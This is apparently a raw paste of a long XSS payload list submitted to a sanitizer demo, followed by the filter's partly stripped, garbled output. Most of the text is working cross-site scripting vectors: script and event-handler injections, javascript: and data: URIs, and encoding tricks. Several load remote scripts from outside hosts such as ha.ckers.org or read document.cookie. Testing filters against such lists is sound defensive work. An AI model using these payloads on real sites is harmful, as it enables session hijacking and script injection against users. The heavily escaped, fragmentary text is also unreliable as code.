SRC=\\\"javas]]<![CDATA[cript:javascript:alert(1);\\\">]]</C><X></xml>\\r\\n<IMG SRC=&{javascript:alert(1);};>\\r\\n<a href=\\\"javAascript:javascript:alert(1)\\\">test1</a>\\r\\n<a href=\\\"javaascript:javascript:alert(1)\\\">test1</a>\\r\\n<embed width=500 height=500 code=\\\"data:text/html,<script>%(payload)s</script>\\\"></embed>\\r\\n<iframe srcdoc=\\\"<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>\\\">\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\\\";\\r\\nalert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--\\r\\n></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=JaVaScRiPt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert(\\\"XSS\\\")>\\r\\n<IMG SRC=`javascript:alert(\\\"RSnake says, \\\'XSS\\\'\\\")`>\\r\\n<a onmouseover=\\\"alert(document.cookie)\\\">xxs link</a>\\r\\n<a onmouseover=alert(document.cookie)>xxs link</a>\\r\\n<IMG \\\"\\\"\\\"><SCRIPT>alert(\\\"XSS\\\")</SCRIPT>\\\">\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=# onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC= onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=\\\"jav ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav	ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(\\\'XSS\\\');\\\">\\r\\nperl -e \\\'print \\\"<IMG SRC=java\\\\0script:alert(\\\\\\\"XSS\\\\\\\")>\\\";\\\' > out\\r\\n<IMG SRC=\\\"  javascript:alert(\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<<SCRIPT>alert(\\\"XSS\\\");//<</SCRIPT>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >\\r\\n<SCRIPT SRC=//ha.ckers.org/.j>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\')\\\"\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html <\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE><SCRIPT>alert(\\\"XSS\\\");</SCRIPT>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<BODY BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IMG DYNSRC=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IMG LOWSRC=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<STYLE>li {list-style-image: url(\\\"javascript:alert(\\\'XSS\\\')\\\");}</STYLE><UL><LI>XSS</br>\\r\\n<IMG SRC=\\\'vbscript:msgbox(\\\"XSS\\\")\\\'>\\r\\n<IMG SRC=\\\"livescript:[code]\\\">\\r\\n<BODY ONLOAD=alert(\\\'XSS\\\')>\\r\\n<BGSOUND SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<BR SIZE=\\\"&{alert(\\\'XSS\\\')}\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\">\\r\\n<STYLE>BODY{-moz-binding:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(alert(\\\"XSS\\\"))\\\'>\\r\\n<STYLE TYPE=\\\"text/javascript\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"javascript:alert(\\\'XSS\\\')\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"javascript:alert(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"javascript:alert(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<XSS STYLE=\\\"xss:expression(alert(\\\'XSS\\\'))\\\">\\r\\n<XSS STYLE=\\\"behavior: url(xss.htc);\\\">\\r\\n¼script¾alert(¢XSS¢)¼/script¾\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert(\\\'XSS\\\');\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:alert(\\\'XSS\\\'))\\\">\\r\\n<DIV STYLE=\\\"width: expression(alert(\\\'XSS\\\'));\\\">\\r\\n<BASE HREF=\\\"javascript:alert(\\\'XSS\\\');//\\\">\\r\\n <OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://ha.ckers.org/scriptlet.html\\\"></OBJECT>\\r\\n<EMBED SRC=\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n<SCRIPT SRC=\\\"http://ha.ckers.org/xss.jpg\\\"></SCRIPT>\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\\'\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>alert(\\\"XSS\\\")</SCRIPT>\\\'); ?>\\r\\n<IMG SRC=\\\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\n<META HTTP-EQUIV=\\\"Set-Cookie\\\" Content=\\\"USERID=<SCRIPT>alert(\\\'XSS\\\')</SCRIPT>\\\">\\r\\n <HEAD><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>+ADw-SCRIPT+AD4-alert(\\\'XSS\\\');+ADw-/SCRIPT+AD4-\\r\\n<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT =\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT \\\"a=\\\'>\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=`>` SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<A HREF=\\\"http://66.102.7.147/\\\">XSS</A>\\r\\n<A HREF=\\\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\\\">XSS</A>\\r\\n<A HREF=\\\"http://1113982867/\\\">XSS</A>\\r\\n<A HREF=\\\"http://0x42.0x0000066.0x7.0x93/\\\">XSS</A>\\r\\n<A HREF=\\\"http://0102.0146.0007.00000223/\\\">XSS</A>\\r\\n<A HREF=\\\"htt p://6 6.000146.0x7.147/\\\">XSS</A>\\r\\n<iframe src=\\\"	javascript:prompt(1)	\\\">\\r\\n<svg><style>{font-family:\\\'<iframe/onload=confirm(1)>\\\'\\r\\n<input/onmouseover=\\\"javaSCRIPT:confirm(1)\\\"\\r\\n<sVg><scRipt >alert(1) {Opera}\\r\\n<img/src=`` onerror=this.onerror=confirm(1) \\r\\n<form><isindex formaction=\\\"javascript:confirm(1)\\\"\\r\\n<img src=``
 onerror=alert(1)
\\r\\n<script/	 src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' /	></script>\\r\\n<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\\r\\n<iframe/src=\\\"data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\\\">\\r\\n<script /**/>/**/alert(1)/**/</script /**/\\r\\n"><h1/onmouseover=\\\'\\\\u0061lert(1)\\\'>\\r\\n<iframe/src=\\\"data:text/html,<svg onload=alert(1)>\\\">\\r\\n<meta content=\\\"
 1 
; JAVASCRIPT: alert(1)\\\" http-equiv=\\\"refresh\\\"/>\\r\\n<svg><script xlink:href=data:,window.open(\\\'https://www.google.com/\\\')></script\\r\\n<svg><script x:href=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' {Opera}\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=javascript:confirm(1)\\\">\\r\\n<iframe src=javascript:alert(document.location)>\\r\\n<form><a href=\\\"javascript:\\\\u0061lert(1)\\\">X\\r\\n</script><img/*/src=\\\"worksinchrome:prompt(1)\\\"/*/onerror=\\\'eval(src)\\\'>\\r\\n<img/	  src=`~` onerror=prompt(1)>\\r\\n<form><iframe 	  src=\\\"javascript:alert(1)\\\" 	;>\\r\\n<a href=\\\"data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\"	 >X</a\\r\\nhttp://www.google<script .com>alert(document.location)</script\\r\\n<a href=[�]\\\"� onmouseover=prompt(1)//\\\">XYZ</a\\r\\n<img/src=@  onerror = prompt(\\\'1\\\')\\r\\n<style/onload=prompt(\\\'XSS\\\')\\r\\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\\r\\n</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(\\r\\n�</form><input type=\\\"date\\\" onfocus=\\\"alert(1)\\\">\\r\\n<form><textarea onkeyup=\\\'\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(1)\\\'>\\r\\n<script /***/>/***/confirm(\\\'\\\\uFF41\\\\uFF4C\\\\uFF45\\\\uFF52\\\\uFF54\\\\u1455\\\\uFF11\\\\u1450\\\')/***/</script /***/\\r\\n<iframe srcdoc=\\\'<body onload=prompt(1)>\\\'>\\r\\n<a href=\\\"javascript:void(0)\\\" onmouseover=
javascript:alert(1)
>X</a>\\r\\n<script ~~~>alert(0%0)</script ~~~>\\r\\n<style/onload=<!--	> alert (1)>\\r\\n<///style///><span %2F onmousemove=\\\'alert(1)\\\'>SPAN\\r\\n<img/src=\\\'http://i.imgur.com/P8mL8.jpg\\\' onmouseover=	prompt(1)\\r\\n"><svg><style>{-o-link-source:\\\'<body/onload=confirm(1)>\\\'\\r\\n <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}\\r\\n<marquee onstart=\\\'javascript:alert(1)\\\'>^__^\\r\\n<div/style=\\\"width:expression(confirm(1))\\\">X</div> {IE7}\\r\\n<iframe// src=javaSCRIPT:alert(1)\\r\\n//<form/action=javascript:alert(document.cookie)><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/onload=prompt(1) /*iframe/src*/>\\r\\n//|\\\\\\\\ <script //|\\\\\\\\ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\'> //|\\\\\\\\ </script //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/onload=this.onload=confirm(1)>\\\'</font>/</style>\\r\\n<a/href=\\\"javascript: javascript:prompt(1)\\\"><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/onmouseover=prompt(1)\\r\\n</svg>\\\'\\\'<svg><script \\\'AQuickBrownFoxJumpsOverTheLazyDog\\\'>alert(1) {Opera}\\r\\n<a href=\\\"javascript:\\\\u0061le%72t(1)\\\"><button>\\r\\n<div onmouseover=\\\'alert(1)\\\'>DIV</div>\\r\\n<iframe style=\\\"position:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\">\\r\\n<a href=\\\"jAvAsCrIpT:alert(1)\\\">X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var onmouseover=\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n<a href=javascript:alert(document.cookie)>Click Here</a>\\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"onerror=\\\'prompt(1)\\\'\\\">\\r\\n<%<!--\\\'%><script>alert(1);</script -->\\r\\n<script src=\\\"data:text/javascript,alert(1)\\\"></script>\\r\\n<iframe/src \\\\/\\\\/onload = prompt(1)\\r\\n<iframe/onreadystatechange=alert(1)\\r\\n<svg/onload=alert(1)\\r\\n<input value=<><iframe/src=javascript:confirm(1)\\r\\n<input type=\\\"text\\\" value=`` <div/onmouseover=\\\'alert(1)\\\'>X</div>\\r\\n<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>\\r\\n<img src=`xx:xx`onerror=alert(1)>\\r\\n<object type=\\\"text/x-scriptlet\\\" data=\\\"http://jsfiddle.net/XLE63/ \\\"></object>\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;javascript:alert(1)\\\"/>\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n<embed code=\\\"http://businessinfo.co.uk/labs/xss/xss.swf\\\" allowscriptaccess=always>\\r\\n<svg contentScriptType=text/vbs><script>MsgBox+1\\r\\n<a href=\\\"data:text/html;base64_,<svg/onload=\\\\u0061le%72t(1)>\\\">X</a\\r\\n<iframe/onreadystatechange=\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(\\\'\\\\u0061\\\') worksinIE>\\r\\n<script>~\\\'\\\\u0061\\\' ; \\\\u0074\\\\u0068\\\\u0072\\\\u006F\\\\u0077 ~ \\\\u0074\\\\u0068\\\\u0069\\\\u0073. \\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(~\\\'\\\\u0061\\\')</script U+\\r\\n<script/src=\\\"data:text%2Fj\\\\u0061v\\\\u0061script,\\\\u0061lert(\\\'\\\\u0061\\\')\\\"></script a=\\\\u0061 & /=%2F\\r\\n<script/src=data:text/j\\\\u0061v\\\\u0061script,\\\\u0061%6C%65%72%74(/XSS/)></script\\r\\n<object data=javascript:\\\\u0061le%72t(1)>\\r\\n<script>+-+-1-+-+alert(1)</script>\\r\\n<body/onload=<!-->
alert(1)>\\r\\n<script itworksinallbrowsers>/*<script* */alert(1)</script\\r\\n<img src ?itworksonchrome?\\\\/onerror = alert(1)\\r\\n<svg><script>//
confirm(1);</script </svg>\\r\\n<svg><script onlypossibleinopera:-)> alert(1)\\r\\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe\\r\\n<script x> alert(1) </script 1=2\\r\\n<div/onmouseover=\\\'alert(1)\\\'> style=\\\"x:\\\">\\r\\n<--`<img/src=` onerror=alert(1)> --!>\\r\\n<script/src=data:text/javascript,alert(1)></script>\\r\\n<div style=\\\"position:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\" onclick=\\\"alert(1)\\\">x</button>\\r\\n\\\"><img src=x onerror=window.open(\\\'https://www.google.com/\\\');>\\r\\n<form><button formaction=javascript:alert(1)>CLICKME\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\\\"></iframe>\\r\\n<a href=\\\"data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​\\\">Click Me</a>\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n\\\'>//\\\\\\\\,<\\\'>\\\">\\\">\\\"*\\\"\\r\\n\\\'); alert(\\\'XSS\\r\\n<script>alert(1);</script>\\r\\n<script>alert(\\\'XSS\\\');</script>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert("XSS")>\\r\\n<IMG \\\"\\\"\\\"><SCRIPT>alert(\\\"XSS\\\")</SCRIPT>\\\">\\r\\n<scr<script>ipt>alert(\\\'XSS\\\');</scr</script>ipt>\\r\\n<script>alert(String.fromCharCode(88,83,83))</script> \\r\\n<img src=foo.png onerror=alert(/xssed/) />\\r\\n<style>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\\\\\"XSS\\\\\\\")\\\';</style>\\r\\n<? echo(\\\'<scr)\\\'; echo(\\\'ipt>alert(\\\\\\\"XSS\\\\\\\")</script>\\\'); ?>\\r\\n<marquee><script>alert(\\\'XSS\\\')</script></marquee>\\r\\n<IMG SRC=\\\\\\\"jav	ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"jav
ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"jav
ascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n\\\"><script>alert(0)</script>\\r\\n<script src=http://yoursite.com/your_files.js></script>\\r\\n</title><script>alert(/xss/)</script>\\r\\n</textarea><script>alert(/xss/)</script>\\r\\n<IMG LOWSRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<IMG DYNSRC=\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\">\\r\\n<font style=\\\'color:expression(alert(document.cookie))\\\'>\\r\\n<img src=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<script language=\\\"JavaScript\\\">alert(\\\'XSS\\\')</script>\\r\\n<body onunload=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<body onLoad=\\\"alert(\\\'XSS\\\');\\\"\\r\\n[color=red\\\' onmouseover=\\\"alert(\\\'xss\\\')\\\"]mouse over[/color]\\r\\n\\\"/></a></><img src=1.gif onerror=alert(1)>\\r\\nwindow.alert(\\\"Bonjour !\\\");\\r\\n<div style=\\\"x:expression((window.r==1)?\\\'\\\':eval(\\\'r=1;\\r\\nalert(String.fromCharCode(88,83,83));\\\'))\\\">\\r\\n<iframe<?php echo chr(11)?> onload=alert(\\\'XSS\\\')></iframe>\\r\\n\\\"><script alert(String.fromCharCode(88,83,83))</script>\\r\\n\\\'>><marquee><h1>XSS</h1></marquee>\\r\\n\\\'\\\">><script>alert(\\\'XSS\\\')</script>\\r\\n\\\'\\\">><marquee><h1>XSS</h1></marquee>\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0; URL=http://;URL=javascript:alert(\\\'XSS\\\');\\\\\\\">\\r\\n<script>var var = 1; alert(var)</script>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"javascript:alert(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<?=\\\'<SCRIPT>alert(\\\"XSS\\\")</SCRIPT>\\\'?>\\r\\n<IMG SRC=\\\'vbscript:msgbox(\\\\\\\"XSS\\\\\\\")\\\'>\\r\\n\\\" onfocus=alert(document.domain) \\\"> <\\\"\\r\\n<FRAMESET><FRAME SRC=\\\\\\\"javascript:alert(\\\'XSS\\\');\\\\\\\"></FRAMESET>\\r\\n<STYLE>li {list-style-image: url(\\\\\\\"javascript:alert(\\\'XSS\\\')\\\\\\\");}</STYLE><UL><LI>XSS\\r\\nperl -e \\\'print \\\\\\\"<SCR\\\\0IPT>alert(\\\\\\\"XSS\\\\\\\")</SCR\\\\0IPT>\\\\\\\";\\\' > out\\r\\nperl -e \\\'print \\\\\\\"<IMG SRC=java\\\\0script:alert(\\\\\\\"XSS\\\\\\\")>\\\\\\\";\\\' > out\\r\\n<br size=\\\\\\\"&{alert(\\\'XSS\\\')}\\\\\\\">\\r\\n<scrscriptipt>alert(1)</scrscriptipt>\\r\\n</br style=a:expression(alert())>\\r\\n</script><script>alert(1)</script>\\r\\n\\\"><BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\\r\\n[color=red width=expression(alert(123))][color]\\r\\n<BASE HREF=\\\"javascript:alert(\\\'XSS\\\');//\\\">\\r\\nExecute(MsgBox(chr(88)&chr(83)&chr(83)))<\\r\\n\\\"></iframe><script>alert(123)</script>
keyword(s): zz
description: <input value=\\\"``=(1)\\\">
by zz | at 2021-08-19 09:46:16
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n<!--[if gte IE 4]>\\\'\\\"-->\\r\\n<? echo(\\\'alert(\\\"XSS\\\")\\\'); ?>\\r\\n![]()
\\>\\>\\>\\>\\>\\r\\n\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\nPT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\nXSS\\r\\n0\\\\\\\"autofocus/=alert(1)--><video/>\\\"-confirm(3)-\\\"\\r\\nveris-->group<svg/>![]()
\\ >\\>[\\\" >\\>\\r\\n\\r\\ntest\\r\\n\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\ >\\/>\\r\\n\\\"><IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\\">123
\\r\\n\\\"><IFRAME SRC=# ></IFRAME>123
\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# ></IFRAME>\\r\\n\\\"><IFRAME SRC=# ></IFRAME>123
\\r\\n\\\"></iframe><iframe frameborder=\\\"0\\r\\n\\\"><IFRAME width=\\\"420\\\" height=\\\"315\\\" SRC=\\\"http://www.youtube.com/embed/sxvccpasgTE\\\" frameborder=\\\"0\\\" ></IFRAME>123
\\r\\n\\\"><iframe width=\\\"420\\\" height=\\\"315\\\" src=\\\"http://www.youtube.com/embed/sxvccpasgTE\\\" frameborder=\\\"0\\\" allowfullscreen></iframe>123
\\r\\n><IFRAME width=\\\"420\\\" height=\\\"315\\\" frameborder=\\\"0\\\" ></IFRAME>Hover the cursor to the LEFT of this Message
&ParamHeight=250\\r\\n<IFRAME width=\\\"420\\\" height=\\\"315\\\" frameborder=\\\"0\\\" ></IFRAME>\\r\\n\\\"><IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\\">123
\\r\\n\\\"><IFRAME SRC=# ></IFRAME>123
\\r\\n<iframe src=http://xss.rocks/scriptlet.html <\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# ></IFRAME>\\r\\n<iframe src=\\\" (1) \\\">\\r\\n<svg><style>{font-family:\\\'<iframe/>\\\'\\r\\n<input/><isindex >\\>\\>\\\">\\/>\\r\\n<svg>\\r\\n<iframe src=)>\\r\\n<form><a >X<img/*/>\\r\\n<img/
>\\r\\n<form><iframe
src=\\\"(1)\\\"
;>\\r\\n<a >X</a\\r\\nhttp://www.googlealert)\r\\n<a >XYZ</a\\r\\n<img/>alert(String.fromCharCode(49))^__^\\r\\n</style ><input type=\\\"date\\\" >\\r\\n<form><textarea
>\\r\\n\\r\\n<a >X</a>\\r\\n\\r\\n<style/ >
alert
(1)>\\r\\n<///style///><span / >SPAN\\r\\n<img/><svg><style>{-o-link-source:\\\'<body/>\\\'\\r\\n
<blink/
